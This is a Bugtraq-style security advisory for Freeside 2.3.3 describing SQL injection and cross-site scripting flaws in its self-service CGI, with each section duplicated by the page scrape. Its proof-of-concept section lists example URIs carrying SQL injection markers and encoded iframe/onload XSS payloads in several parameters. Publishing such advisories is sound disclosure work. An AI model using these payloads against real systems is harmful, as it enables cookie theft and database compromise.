Freeside Multiple Input Validation Vulnerabilities
BID:54295
Info
Freeside Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 54295 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 04 2012 12:00AM |
| Updated: | Jul 04 2012 12:00AM |
| Credit: | Ibrahim El-Sayed and Benjamin Kunz Mejri |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Freeside Multiple Input Validation Vulnerabilities
Freeside is prone to multiple input validation vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploiting these issues may allow an attacker to execute malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Freeside 2.3.3 is vulnerable; others may also be affected.
Freeside is prone to multiple input validation vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploiting these issues may allow an attacker to execute malicious HTML and script codes, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Freeside 2.3.3 is vulnerable; others may also be affected.
Exploit / POC
Freeside Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=-1'[SQL-INJECTION];beginning=0;ending=0
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details[SQL-INJECTION];svcnum=X;beginning=0;ending=0
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=598;beginning=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C;ending=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3Chttp://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;pkgnum=3646;pkg=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;pkgnum=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C;pkg=Super%20Bundle%20200GB
Attackers can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=-1'[SQL-INJECTION];beginning=0;ending=0
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details[SQL-INJECTION];svcnum=X;beginning=0;ending=0
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=598;beginning=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C;ending=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3Chttp://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;pkgnum=3646;pkg=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://www.example.com/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg;pkgnum=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C;pkg=Super%20Bundle%20200GB
Solution / Fix
Freeside Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
Freeside Multiple Input Validation Vulnerabilities
References:
References: